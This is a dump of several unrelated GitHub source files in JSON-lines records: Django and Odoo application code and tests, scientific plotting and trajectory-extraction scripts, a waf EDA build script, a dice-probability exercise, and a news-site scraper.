for d in distribution]\r\n # return list(enumerate(dist_sort))\r\n # return list(enumerate(distribution))","repo_name":"aniruddhasanyal/RequestTestCaseMapping","sub_path":"reqtcscore.py","file_name":"reqtcscore.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17715856782","text":"import unittest\nfrom ampcms.tests.mock import Mock, patch\nfrom ampcms.tests import mock_data\n\nfrom ampcms.lib.content_type import BaseContentType\n\nfrom genshi.core import Markup\nfrom django_genshi import RequestContext\n\nmock_build_children_return = {\n 'base': mock_data.MockChild(['base.css']),\n 'base2': mock_data.MockChild(['base2a.css', 'base2b.css']),\n 'base3': mock_data.MockChild(['base2a.css', 'base3.css'])}\nmock_build_children = Mock(return_value=mock_build_children_return)\n\nmock_get_context_return = {'var_a': 'val_a', 'var_b': 'val_b'}\nmock_get_context = Mock(return_value=mock_get_context_return)\n\nmock_get_html_data_return = {'data_a': 'val_a', 'data_b': 'val_b'}\nmock_get_html_data = Mock(return_value=mock_get_html_data_return)\n\nclass BaseContentTypeTest(unittest.TestCase):\n @patch.object(BaseContentType, '_get_context', new=mock_get_context)\n @patch.object(BaseContentType, '_get_template', new=mock_data.mock_get_template_signature)\n def test_html(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n html = content_type.html()\n self.assertEqual(html, '<p>var_a : val_a. var_b : val_b.</p>', 'html was incorrect: %s' % html)\n\n @patch.object(BaseContentType, '_get_context', new=mock_get_context)\n @patch.object(BaseContentType, '_get_template', new=mock_data.mock_get_template_signature)\n def test_markup(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n html = content_type.markup()\n self.assertIsInstance(html, Markup, 'html was not a markup object: %s' % type(html))\n self.assertEqual(html, '<p>var_a : val_a. var_b : val_b.</p>', 'html was incorrect: %s' % html)\n\n @patch.object(BaseContentType, '_build_children', new=mock_build_children)\n def test_css(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n css = content_type.css()\n self.assertEquals(css.count('@import url(\"base.css\");'), 1, 'One of the css files was duplicated')\n self.assertIn('@import url(\"base.css\");', css, 'One of the css files was missing')\n self.assertEquals(css.count('@import url(\"base2a.css\");'), 1, 'One of the css files was duplicated')\n self.assertIn('@import url(\"base2a.css\");', css, 'One of the css files was missing')\n self.assertEquals(css.count('@import url(\"base2b.css\");'), 1, 'One of the css files was duplicated')\n self.assertIn('@import url(\"base2b.css\");', css, 'One of the css files was missing')\n self.assertEquals(css.count('@import url(\"base3.css\");'), 1, 'One of the css files was duplicated')\n self.assertIn('@import url(\"base3.css\");', css, 'One of the css files was missing')\n\n @patch.object(BaseContentType, '_get_html_data', new=mock_get_html_data)\n def test_get_data_tags(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n data_tags = content_type.get_html_data_tags()\n self.assertDictEqual(data_tags, {'data-data_a':'val_a', 'data-data_b': 'val_b'}, 'data_tags was not the correct dictionary: %s' % data_tags)\n\n def test_get_template(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n content_type._template = mock_data.mock_template\n template = content_type._get_template()\n self.assertEquals(template, 'ampcms/%s.html' % mock_data.mock_template, '_get_template() returned incorrect template: %s' % template)\n\n def test_get_template_none(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n self.assertRaises(Exception, content_type._get_template)\n\n @patch.object(BaseContentType, '_build_children', new=mock_build_children)\n @patch.object(BaseContentType, '_get_html_data', new=mock_get_html_data)\n def test_get_context(self):\n content_type = BaseContentType(request=None, request_kwargs=None)\n context = content_type._get_context()\n self.assertIsInstance(context, dict, 'context was not a dictionary')\n\n @patch.object(BaseContentType, '_build_children', new=mock_build_children)\n @patch.object(BaseContentType, '_get_html_data', new=mock_get_html_data)\n def test_get_context_with_request(self):\n content_type = BaseContentType(request=mock_data.mock_request(), request_kwargs=None)\n context = content_type._get_context()\n self.assertIsInstance(context, RequestContext, 'context was not a dictionary')\n\n","repo_name":"dwatkinsweb/amp-cms","sub_path":"ampcms/tests/lib/content_type.py","file_name":"content_type.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"38128093097","text":"import numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nimport temp\nfrom matplotlib.figure import Figure\n\ndef PAD_2D(quiver_energy, quiver_radius, omega, polarization):\n resolution = 0.1\n KX_range = np.arange(-2.0 , 2.0 + resolution, resolution)\n KY_range = np.arange(-2.0 , 2.0 + resolution, resolution)\n KZ_range = np.arange(-2.0 , 2.0 + resolution, resolution)\n # KZ_range = np.array([0])\n # KY_range = np.array([0])\n fig = plt.figure()\n ax = fig.gca()\n \n pad_value = np.zeros((KY_range.size,KX_range.size))\n\n for i, kx in enumerate(KX_range):\n print(round(kx,3))\n for j, kz in enumerate(KZ_range):\n pad_value_temp = 0.0\n for l, ky in enumerate(KY_range):\n \n k = np.sqrt(kx*kx + ky*ky + kz*kz)\n N = temp.Calculate_NPA2(k, quiver_energy, Ip, omega)\n k_vector= np.array([kx,ky,kz], dtype=float)\n \n mole_orientation = np.array([0,0,1])\n quiver_vector = quiver_radius*polarization\n \n pad_value_temp += k*pow(temp.GBF(N, np.dot(quiver_vector, k_vector), quiver_energy/(2*omega)),2)*pow(quiver_energy - N*omega ,2)*pow(np.sin(np.dot(k_vector, mole_orientation)), 2)\n\n pad_value[j, i] += pad_value_temp\n \n pad_value = pad_value / pad_value.max()\n pos = plt.imshow(pad_value, extent=[-2.0, 2.0, -2.0, 2.0])#, norm=LogNorm(vmin=1e-3, vmax=1))\n plt.colorbar(pos)\n \n # x_ticks = np.arange(-3 ,3, 0.5)\n # y_ticks = np.arange(-3, 3, 0.5)\n # ax.set_xticks(x_ticks)\n # ax.set_yticks(y_ticks)\n # plt.grid(True)\n \n plt.savefig(\"FIG_Z_XZ_AB.png\")\n plt.clf()\n\ndef PAD_Sphere(k, N, quiver_energy, omega, polarization, ellipticity_vector, ellipticity):\n angles, r = np.mgrid[0:2*np.pi:30j, k:k+1:1j]\n values = np.zeros(30)\n for i, theta in enumerate(angles[0:]):\n\n if theta <= np.pi/2:\n kx = k*np.cos(theta)\n ky = k*np.sin(theta)\n elif theta > np.pi/2 and theta <= np.pi:\n theta = np.pi-theta\n kx = -1*k*np.cos(theta)\n ky = k*np.sin(theta)\n elif theta > np.pi and theta <= 3*np.pi/2:\n theta = theta-np.pi\n kx = -1*k*np.cos(theta)\n ky = -1*k*np.sin(theta)\n elif theta > 3*np.pi/2 and theta <= 2*np.pi:\n theta = 2*np.pi - theta\n kx = k*np.cos(theta)\n ky = -1*k*np.sin(theta)\n else:\n continue\n \n \n kz = 0\n k_vector= np.array([kx,ky,kz], dtype=float)\n \n values[i] += Quiver_Sweep(k_vector, polarization, ellipticity_vector, ellipticity, omega, quiver_energy, quiver_radius, N)\n #np.linalg.norm(k_vector)*pow(quiver_energy-(N*omega),2)*\n # mole_orientation = [0,0,1]\n # values[i] *= pow(np.cos(np.dot(k_vector, mole_orientation)), 2)\n z = values.reshape(angles.shape)\n ax1.scatter(angles.flatten(), r.flatten(), c=z.flatten(), s=100)\n \ndef Quiver_Sweep(k_vector, polarization, ellipticity_vector, ellipticity, omega, quiver_energy, quiver_radius, N):\n cycle = 1\n time_range = np.linspace(0, 2*np.pi*cycle/omega, 10)\n return_value = np.zeros(len(time_range))\n quiver_vector = np.zeros(3)\n\n for i, t in enumerate(time_range):\n\n quiver_vector = quiver_radius/np.sqrt(1+pow(ellipticity,2.0)) * (polarization*np.sin(omega*t) - ellipticity*ellipticity_vector*np.cos(omega*t))\n return_value[i] = pow(temp.GBF(N, np.dot(quiver_vector, k_vector), quiver_energy/(2*omega)),2)\n\n return np.sum(return_value)\n \n\nif __name__==\"__main__\":\n \n polarization = np.array([0,0,1])\n ellipticity = 0.\n ellipticity_vector = np.array([0,1,0])\n intensity = 3.51e16\n omega = 1.\n Ip = 1.0\n\n quiver_radius, quiver_energy = temp.Calculate_Parameters(intensity, omega)\n PAD_2D(quiver_energy, quiver_radius, omega, polarization)\n\n ","repo_name":"yonas-abera-gebre/TDSE","sub_path":"Analysis/AAA.py","file_name":"AAA.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21222618626","text":"import datetime\nfrom collections import defaultdict\nfrom itertools import groupby\nfrom datetime import datetime as dt\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import AccessError, UserError\nfrom odoo.tools import date_utils, float_round, float_is_zero\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT\n\n\nclass MrpProduction(models.Model):\n \"\"\" Manufacturing Orders \"\"\"\n _inherit = 'mrp.production'\n\n product_qty = fields.Float(\n 'Quantity To Produce',\n default=1.0, digits='New Cortex Precision',\n readonly=True, required=True, tracking=True,\n states={'draft': [('readonly', False)]})\n service_charge_ids = fields.One2many('service.charge', 'production_id', 'Service Charges', copy=True)\n service_charge_total = fields.Float(string='Service Charges Total', compute='compute_charge_total')\n currency_id = fields.Many2one('res.currency', string='Currency', readonly=True, states={'draft': [('readonly', False)]}, default=lambda self: self.env.company.currency_id)\n partner_id = fields.Many2one('res.partner', string='Vendor', readonly=True, states={'draft': [('readonly', False)]})\n purchase_order_id = fields.Many2one('purchase.order', string='Purchase Order', copy=False)\n product_uom_qty = fields.Float(string='Total Quantity', compute='_compute_product_uom_qty', store=True, digits='Product Unit of Measure')\n batch_production_id = fields.Many2one('batch.production', string='Batch Production', copy=False)\n code = fields.Selection([('incoming', 'Receipt'), ('outgoing', 'Delivery'), ('internal', 'Internal Transfer')], 'Type of Operation', related='picking_type_id.code', store=True,)\n warehouse_id = fields.Many2one('stock.warehouse', 'Warehouse', ondelete='cascade',check_company=True, related='picking_type_id.warehouse_id', store=True,)\n sale_order_ids = fields.Many2many('sale.order', string='Sale Orders')\n sale_order_count = fields.Integer(compute='_compute_sale_order_count', string='Sale Order')\n\n @api.onchange('product_id','partner_id')\n def _onchange_product_and_vendor_id(self):\n if self.product_id and self.partner_id:\n product_vendor_obj = self.env['product.with.vendor'].search([('product_template_id','=',self.product_id.product_tmpl_id.id),('partner_id','=',self.partner_id.id)],limit=1)\n if product_vendor_obj:\n self.bom_id = product_vendor_obj.bom_id.id\n else: \n self.bom_id = False\n\n\n @api.onchange('product_id', 'picking_type_id', 'company_id')\n def onchange_product_id(self):\n \"\"\" Finds UoM of changed product. \"\"\"\n if not self.product_id:\n self.bom_id = False\n elif self.product_id and self.partner_id:\n product_vendor_obj = self.env['product.with.vendor'].search([('product_template_id','=',self.product_id.product_tmpl_id.id),('partner_id','=',self.partner_id.id)],limit=1)\n if product_vendor_obj:\n self.bom_id = product_vendor_obj.bom_id.id \n else:\n bom = self.env['mrp.bom']._bom_find(product=self.product_id, picking_type=self.picking_type_id, company_id=self.company_id.id, bom_type='normal')\n if bom:\n self.bom_id = bom.id\n self.product_qty = self.bom_id.product_qty\n self.product_uom_id = self.bom_id.product_uom_id.id\n else:\n self.bom_id = False\n self.product_uom_id = self.product_id.uom_id.id\n return {'domain': {'product_uom_id': [('category_id', '=', self.product_id.uom_id.category_id.id)]}} \n\n\n @api.depends('service_charge_ids','service_charge_ids.subtotal')\n def compute_charge_total(self):\n for record in self:\n total = 0\n for line in record.service_charge_ids:\n total += line.subtotal\n record.service_charge_total = total\n\n def action_open_sale_orders(self):\n sale_obj = self.env['sale.order'].search([('id', '=',self.sale_order_ids.ids)])\n sale_ids = []\n view_id = self.env.ref('sale.view_order_form').id\n for each in sale_obj:\n sale_ids.append(each.id)\n if len(sale_ids) <= 1:\n return {\n 'view_mode': 'form',\n 'view_type': 'form',\n 'view_id': view_id,\n 'name': _('Sale Orders'),\n 'res_model': 'sale.order',\n 'type': 'ir.actions.act_window',\n 'domain': [('id', '=', self.sale_order_ids.ids)],\n 'res_id': sale_ids and sale_ids[0]\n }\n else:\n return {\n 'name': _('Sale Orders'),\n 'res_model': 'sale.order',\n 'type': 'ir.actions.act_window',\n 'view_mode': 'list,form',\n 'domain': [('id', '=', self.sale_order_ids.ids)],\n }\n\n def _compute_sale_order_count(self):\n sale_order = self.env['sale.order'].search([('id', '=', self.sale_order_ids.ids)])\n self.sale_order_count = len(sale_order)\n\n @api.onchange('bom_id')\n def _onchange_bom(self):\n charge_list = [(2, move.id) for move in self.service_charge_ids.filtered(lambda m: m.bom_line_id)]\n if self.bom_id:\n for record in self.bom_id.service_charge_ids:\n charge_list.append([0, 0, {'product_id': record.product_id.id,\n 'quantity': record.quantity,\n 'price_unit': record.price_unit,\n 'subtotal': record.quantity * record.price_unit,\n 'product_uom_id': record.product_uom_id.id,\n 'bom_line_id': self.bom_id.id,\n 'bom_charge_id': record.id,\n 'production_id': self.id,\n 'batch_production_id': self.batch_production_id.id\n }])\n self.service_charge_ids = charge_list\n\n @api.onchange('product_qty', 'product_uom_id')\n def _onchange_service_charges(self):\n if self.bom_id and self.product_qty > 0:\n for move in self.service_charge_ids.filtered(lambda m: m.bom_line_id):\n factor = 1\n if move.product_uom_id.id != self.product_uom_id.id:\n factor = self.product_uom_id._compute_quantity(self.product_qty,\n self.bom_id.product_uom_id) / (self.bom_id.product_qty or 1)\n quantity = factor\n if move.bom_charge_id:\n if factor > 1:\n factor = factor / (self.product_qty or 1)\n quantity = (self.product_qty * move.bom_charge_id.quantity) * factor\n move.quantity = quantity\n move.onchange_price_quantity()\n else:\n self.service_charge_ids = [(2, move.id) for move in self.service_charge_ids.filtered(lambda m: m.bom_line_id)]\n\n def _cal_price(self, consumed_moves):\n \"\"\"Set a price unit on the finished move according to `consumed_moves`.\n \"\"\"\n self.ensure_one()\n work_center_cost = 0\n if self.currency_id and self.currency_id.id != self.company_id.currency_id.id:\n service_charge_cost = self.service_charge_total * self.company_id.currency_id.rate / (self.currency_id.rate if self.currency_id.rate else 1)\n else:\n service_charge_cost = self.service_charge_total\n bom_id = self.bom_id\n product_dict = {}\n if bom_id:\n product_id = bom_id.product_tmpl_id.product_variant_id.id\n product_dict[product_id] = bom_id.charges_per\n for byproduct in bom_id.byproduct_ids:\n product_dict[byproduct.product_id.id] = byproduct.charges_per\n finished_move = self.move_finished_ids.filtered(lambda x: x.product_id == self.product_id and x.state not in ('done', 'cancel') and x.quantity_done > 0)\n if finished_move:\n finished_move.ensure_one()\n for work_order in self.workorder_ids:\n time_lines = work_order.time_ids.filtered(lambda x: x.date_end and not x.cost_already_recorded)\n duration = sum(time_lines.mapped('duration'))\n time_lines.write({'cost_already_recorded': True})\n work_center_cost += (duration / 60.0) * work_order.workcenter_id.costs_hour\n if finished_move.product_id.cost_method in ('fifo', 'average'):\n qty_done = finished_move.product_uom._compute_quantity(finished_move.quantity_done, finished_move.product_id.uom_id)\n extra_cost = self.extra_cost * qty_done\n price_unit = (sum([-m.stock_valuation_layer_ids.value for m in consumed_moves]) + work_center_cost + extra_cost + service_charge_cost) / qty_done\n finished_move.price_unit = price_unit * product_dict.get(self.product_id.id) / 100\n finished_move.charges_per = product_dict.get(self.product_id.id)\n\n byproduct_move = self.move_finished_ids.filtered(\n lambda x: x.product_id != self.product_id and x.state not in ('done', 'cancel') and x.quantity_done > 0)\n for move in byproduct_move:\n if move.product_id.cost_method in ('fifo', 'average'):\n if product_dict.get(move.product_id.id):\n qty_done = move.product_uom._compute_quantity(move.quantity_done,\n move.product_id.uom_id)\n price_unit = (sum([-m.stock_valuation_layer_ids.value for m in\n consumed_moves]) + work_center_cost + service_charge_cost) / qty_done\n move.price_unit = price_unit * product_dict.get(move.product_id.id) / 100\n move.charges_per = product_dict.get(move.product_id.id)\n else:\n move.price_unit = 0\n \n return True\n\n def create_purchase_order(self):\n vendor_obj = self.partner_id\n if vendor_obj:\n order_list = []\n for line in self.service_charge_ids:\n product = line.product_id\n product_lang = product.with_context(\n lang=vendor_obj.lang,\n partner_id=vendor_obj.id,\n )\n name = product_lang.display_name\n if product_lang.description_purchase:\n name += '\\n' + product_lang.description_purchase\n order_list.append([0,0, {'product_id': product.id,\n 'name': name,\n 'product_qty': line.quantity,\n 'product_uom': line.product_uom_id.id,\n 'date_planned': dt.today().strftime(DEFAULT_SERVER_DATETIME_FORMAT),\n 'price_unit': line.price_unit,\n 'currency_id': line.currency_id.id}])\n\n po_dict = {\n 'partner_id': vendor_obj.id,\n # 'date_order': fields.Datetime.now,\n 'order_line': order_list,\n 'currency_id': self.currency_id.id\n }\n self.purchase_order_id = self.env['purchase.order'].with_context({'create_po':1}).create(po_dict).id\n else:\n raise UserError(_('Please select Vendor'))\n\n # @api.onchange('purchase_order_id')\n # def onchange_purchase_order(self):\n # if self.purchase_order_id:\n # item_list = [[5,0]]\n # for line in self.purchase_order_id.order_line:\n # if line.product_id.id in self.product_id.service_products.ids:\n # item_list.append([0, 0, {'product_id': line.product_id.id,\n # 'quantity': line.product_qty,\n # 'product_uom_id': line.product_uom.id,\n # 'price_unit': line.price_unit,\n # 'subtotal': line.product_qty * line.price_unit,\n # 'currency_id': line.currency_id.id,\n # 'production_id': self.id,\n # 'batch_production_id': self.batch_production_id.id}])\n # self.update({'service_charge_ids': item_list, 'partner_id': self.purchase_order_id.partner_id.id,\n # 'currency_id': self.purchase_order_id.currency_id.id})\n \n @api.onchange('partner_id')\n def oncahnge_partner_id(self):\n if self.partner_id and self.purchase_order_id:\n if self.partner_id != self.purchase_order_id.partner_id:\n self.purchase_order_id = None\n\n def button_mark_done(self):\n res = super(MrpProduction, self).button_mark_done()\n message_obj = self.env['mail.message']\n if self.purchase_order_id:\n for line in self.purchase_order_id.order_line:\n total_quantity = 0.00\n for service in self.service_charge_ids:\n if line.product_id.id == service.product_id.id:\n total_quantity = line.qty_received + service.quantity\n line.update({'qty_received':total_quantity})\n msg_values = {\n 'record_name': self.purchase_order_id.name,\n 'model': 'purchase.order',\n 'res_id': self.purchase_order_id.id,\n 'message_type': 'comment',\n 'body': 'Manufacturing Order ' + self.name + ' has received quantity ' + str(service.quantity) + ' for product ' + line.product_id.name\n }\n message_obj.create(msg_values)\n\n\nclass MrpUnbuild(models.Model):\n _inherit = \"mrp.unbuild\"\n\n product_qty = fields.Float(\n 'Quantity', default=1.0,digits='New Cortex Precision',\n required=True, states={'done': [('readonly', True)]})\n\n\n","repo_name":"Cortex4103/Cortex2","sub_path":"cortex_na/models/mrp_production.py","file_name":"mrp_production.py","file_ext":"py","file_size_in_byte":15116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11569731170","text":"import os\n\ndef configure(conf):\n\n conf.env['CDS_LIBS'] = {'brick_test': '../../cdslib/'}\n conf.env.CDS_LIB_INCLUDES = [\n '$TSMC_DIR/oa/cds.lib',\n ]\n\n conf.load('cadence_strmout')\n conf.load('cadence_netlist')\n conf.load('calibre_lvs')\n conf.load('calibre_pex')\n\ndef build(bld):\n\n bld ( features = 'cds_write_libs' )\n\n # \n # Generate abstract for capacitive_memory\n # \n inverter_streamout = bld (\n name = 'streamout_inverter_chain',\n features = 'cds_strmout',\n cellview = 'brick_test.inverter_chain:layout',\n )\n\n inverter_netlist = bld (\n name = 'cds_netlist_lvs_inverter_chain',\n features = 'cds_netlist_lvs',\n cellview = 'brick_test.inverter_chain:schematic',\n include = os.environ['BRICK_DIR']+'/source/spice/tsmc_special_cells.net'\n )\n\n\n bld (\n features = 'calibre_lvs',\n layout_cellname = 'inverter_chain',\n source_cellname = 'inverter_chain',\n layout_gds = inverter_streamout.get_cadence_strmout_gds_node(),\n source_netlist = inverter_netlist.get_cds_netlist_lvs_node(),\n includes = [bld.root.find_node(os.environ['BRICK_DIR']+'/source/calibre/pex.rules')],\n hcells = [\n 'inverter inverter',\n ]\n )\n\n pex = bld (\n name = 'xrc_inverter',\n features = 'calibre_pex',\n cellname = 'inverter_chain',\n layout_gds = inverter_streamout.get_cadence_strmout_gds_node(),\n use_sourcenames = True,\n includes = [bld.root.find_node(os.environ['BRICK_DIR']+'/source/calibre/pex.rules')],\n only_extract_nets = [\n 'inbetween'\n ],\n xcells = [\n 'inverter inverter',\n ],\n )\n\n","repo_name":"ahartel/brick","sub_path":"test/calibre/pex_inverter_sourcenames_streamout/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"12537811062","text":"# ax^2 - 2bx + c = 0\r\n# rolling a fair die 3 times\r\n# the result are a, b, c respectively\r\n# calc the prob of two distinct real roots\r\ncnt = 0\r\nfor a in range(1, 7):\r\n for b in range(1, 7):\r\n for c in range(1, 7):\r\n delta = 4 * b * b - 4 * a * c\r\n if delta > 0:\r\n print(f'a = {a}, b = {b}, c = {c}')\r\n cnt += 1\r\nprint(f'cnt = {cnt}')\r\n","repo_name":"LeoTheBestCoder/NTHU_CS135800","sub_path":"liujack.py","file_name":"liujack.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21626831547","text":"import aiohttp\nfrom bs4 import BeautifulSoup\nimport typing as tp\nimport datetime\nimport os\nimport re\n\nimport models\n\n\nasync def get_articles_habr(links_global) -> tp.List[models.Article]:\n async with aiohttp.ClientSession() as session:\n await session.get('https://account.habr.com/login')\n\n cookie_token = [val.value for key, val in session.cookie_jar.filter_cookies(\n \"https://account.habr.com/login\").items()][0]\n payload_login = {\n 'state': '',\n 'consumer': 'default',\n 'email': os.environ.get('HABR_MAIL'),\n 'password': os.environ.get('HABR_PASSWORD'),\n 'captcha': '',\n 'g-recaptcha-response': '',\n 'captcha_type': 'recaptcha'\n }\n headers = {\n 'Accept': 'text/javascript, application/javascript, application/ecmascript, application/x-ecmascript,'\n ' */*; q=0.01',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'ru-RU,ru;q=0.9',\n 'Connection': 'keep-alive',\n 'Content-Length': '129',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Cookie': f'acc_csid={cookie_token};',\n 'DNT': '1',\n 'Host': 'account.habr.com',\n 'Origin': 'https://account.habr.com',\n 'Referer': 'https://account.habr.com/login/',\n 'sec-ch-ua': '\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-ch-ua-platform': '\"macOS\"',\n 'Sec-Fetch-Dest': 'empty',\n 'Sec-Fetch-Mode': 'cors',\n 'Sec-Fetch-Site': 'same-origin',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/104.0.0.0 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest'\n }\n\n await session.post('https://account.habr.com/ajax/login/', data=payload_login, headers=headers)\n await session.get('https://habr.com/kek/v1/auth/habrahabr/?back=/ru/all/&hl=ru')\n news_page = await session.get('https://habr.com/ru/feed/')\n news = await news_page.read()\n pages = BeautifulSoup(news, 'html.parser').find_all('article', {'class': 'tm-articles-list__item'})\n\n data = []\n for el in pages:\n if el.find('div', {'class': 'tm-article-snippet'}) is not None:\n link = 'https://habr.com' + el.find('a', {'class': 'tm-article-snippet__title-link'}).get('href'),\n rating = el.find('span', {'data-test-id': 'votes-meter-value'}).text,\n date = datetime.datetime.strptime(el.find('time').get('title'), '%Y-%m-%d, %H:%M')\n\n if link[0] not in links_global and (datetime.date.today() - date.date()).days in (-1, 0, 1):\n data.append((link[0], rating[0], date))\n links_global.append(link[0])\n\n return [await models.Article.from_page(el) for el in data]\n\n\nasync def get_articles_tds(links_global) -> tp.List[models.Article]:\n async with aiohttp.ClientSession() as session:\n domain = 'https://towardsdatascience.com'\n news_page = await session.get(domain)\n news = await news_page.read()\n pages_all = BeautifulSoup(news, 'html.parser').find_all('article')\n links = [domain + el.find('a', {'aria-label': 'Post Preview Title'}).get('href').split('?')[0]\n for el in pages_all]\n\n data = []\n for link in links:\n article = await session.get(link)\n article_content = await article.text()\n article_soup = BeautifulSoup(article_content, 'html.parser')\n\n rating = re.search('clapCount\":(\\d+)', article_content).group(1)\n art = link\n date = datetime.datetime.strptime(str(datetime.datetime.now().year) + ' ' +\n article_soup.find('p', {'class': re.compile(r'^pw-published-date')}).text,\n '%Y %b %d')\n if link not in links_global and (datetime.date.today() - date.date()).days in (-1, 0, 1):\n data.append((art, rating, date))\n links_global.append(link)\n\n return [await models.Article.from_page(el) for el in data]\n","repo_name":"KFeyn/mynews","sub_path":"parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11182317370","text":"# coding: utf-8\nimport datetime\n\nfrom the_tale.common.utils.testcase import TestCase\n\nfrom the_tale.accounts.third_party.conf import third_party_settings\n\nfrom the_tale.game.logic import create_test_map\n\nfrom the_tale.accounts.third_party import prototypes\nfrom the_tale.accounts.third_party import relations\nfrom the_tale.accounts.third_party import logic\n\n\nclass LogicTests(TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n\n create_test_map()\n\n self.account_1 = self.accounts_factory.create_account()\n\n def test_remove_expired_access_tokens(self):\n\n old_created_at = datetime.datetime.now() - datetime.timedelta(minutes=third_party_settings.UNPROCESSED_ACCESS_TOKEN_LIVE_TIME)\n\n t_1 = prototypes.AccessTokenPrototype.fast_create(1, account=None, state=relations.ACCESS_TOKEN_STATE.UNPROCESSED)\n t_1._model.created_at = old_created_at\n t_1.save()\n\n t_2 = prototypes.AccessTokenPrototype.fast_create(2, account=self.account_1, state=relations.ACCESS_TOKEN_STATE.ACCEPTED)\n t_2._model.created_at = old_created_at\n t_2.save()\n\n prototypes.AccessTokenPrototype.fast_create(3, account=None, state=relations.ACCESS_TOKEN_STATE.UNPROCESSED)\n prototypes.AccessTokenPrototype.fast_create(4, account=self.account_1, state=relations.ACCESS_TOKEN_STATE.ACCEPTED)\n\n with self.check_delta(prototypes.AccessTokenPrototype._db_count, -1):\n logic.remove_expired_access_tokens()\n\n self.assertEqual(prototypes.AccessTokenPrototype.get_by_uid(t_1.uid), None)\n","repo_name":"qqname/the-tale","sub_path":"the_tale/accounts/third_party/tests/test_logic.py","file_name":"test_logic.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"33536771576","text":"#!/usr/bin/env python3\n# -*- coding: UTF8 -*-\n\n# Author: Guillaume Bouvier -- guillaume.bouvier@pasteur.fr\n# https://research.pasteur.fr/en/member/guillaume-bouvier/\n# 2020-06-15 16:42:57 (UTC+0200)\n\nimport sys\nimport argparse\nimport os\nimport numpy\nimport dcd_reader\nfrom pymol import cmd\nimport psico.fullinit\nfrom psico.exporting import *\n\nparser = argparse.ArgumentParser(description='Extract list of frames from a dcd file')\nparser.add_argument('--top', type=str, help='Topolgy file', required=True)\nparser.add_argument('--traj', type=str, help='Trajectory file', required=True)\nparser.add_argument('--frames', type=int, nargs='+', help='Frame ids to extract. 1-based numbering.', required=False)\nparser.add_argument('--fframes',\n type=str,\n help='Frame ids to extract. 1-based numbering given as a file.',\n required=False)\nparser.add_argument('--stride', type=int, help='Stride to load the trajectory', default=1)\nparser.add_argument('--out', type=str, help='output dcd or npy file name', required=True)\nparser.add_argument('--select', type=str, help='Select a subset of atoms', required=False)\nparser.add_argument('--align', type=int, help='Align on the given frame (starting from 1)', default=None)\nparser.add_argument('--align_sel', help='Align on the given selection. If not given use --select as selection')\nparser.add_argument(\n '--limit',\n type=int,\n help=\n 'Limit the size of the trajectory file to this limit in bytes. If the limit is reached the trajectory file is loaded by chunk accordingly. The default is no threshold'\n)\nargs = parser.parse_args()\n\n# For memory efficiency:\ncmd.set('defer_builds_mode', 3)\n# To keep original atom order\ncmd.set('retain_order', 1)\n\nif args.fframes is not None:\n args.frames = list(numpy.genfromtxt(args.fframes, dtype=int))\n\ncmd.load(args.top, 'inp')\n\n# Check the size of the input trajectory file\ntrajfilesize = os.path.getsize(args.traj)\ntfthreshold = args.limit\nif tfthreshold is None:\n nchunks = 1\nelse:\n nchunks = int(numpy.ceil(trajfilesize / tfthreshold))\nnframes = dcd_reader.get_nframes(args.traj)\nchunks = numpy.array_split(numpy.arange(1, nframes + 1), nchunks)\n\nif args.select is None:\n selection = 'inp'\nelse:\n selection = f'inp and ({args.select})'\n\nif args.frames is not None:\n stop = max(args.frames)\n chunks = [c[c <= stop] for c in chunks if min(c) <= stop]\nelse:\n stop = -1\n args.frames = range(1, nframes + 1)\nfor chunkid, chunk in enumerate(chunks):\n start, stop = min(chunk), max(chunk)\n cmd.reinitialize()\n cmd.load(args.top, 'inp')\n cmd.load_traj(args.traj, 'inp', state=1, start=start, stop=stop, selection=selection, interval=args.stride)\n if args.align is not None:\n if len(chunks) == 1:\n if args.align_sel is not None:\n align_sel = args.align_sel\n else:\n align_sel = selection\n rmsds = cmd.intra_fit(align_sel, args.align)\n rmsds[rmsds == -1.] = 0.\n outrmsdfile = f\"{os.path.splitext(args.out)[0]}_rmsd.txt\"\n numpy.savetxt(outrmsdfile, rmsds, fmt=\"%.4f\")\n states = numpy.where(numpy.isin(chunk, args.frames))[0] + 1\n nstates = cmd.count_states('inp')\n if len(states) == nstates:\n cmd.create('out', selection=selection, source_state=0, target_state=-1)\n else:\n for s in states:\n sys.stdout.write(f'Getting state {s}/{max(states)}\\r')\n sys.stdout.flush()\n cmd.create('out', selection=selection, source_state=s, target_state=-1)\n 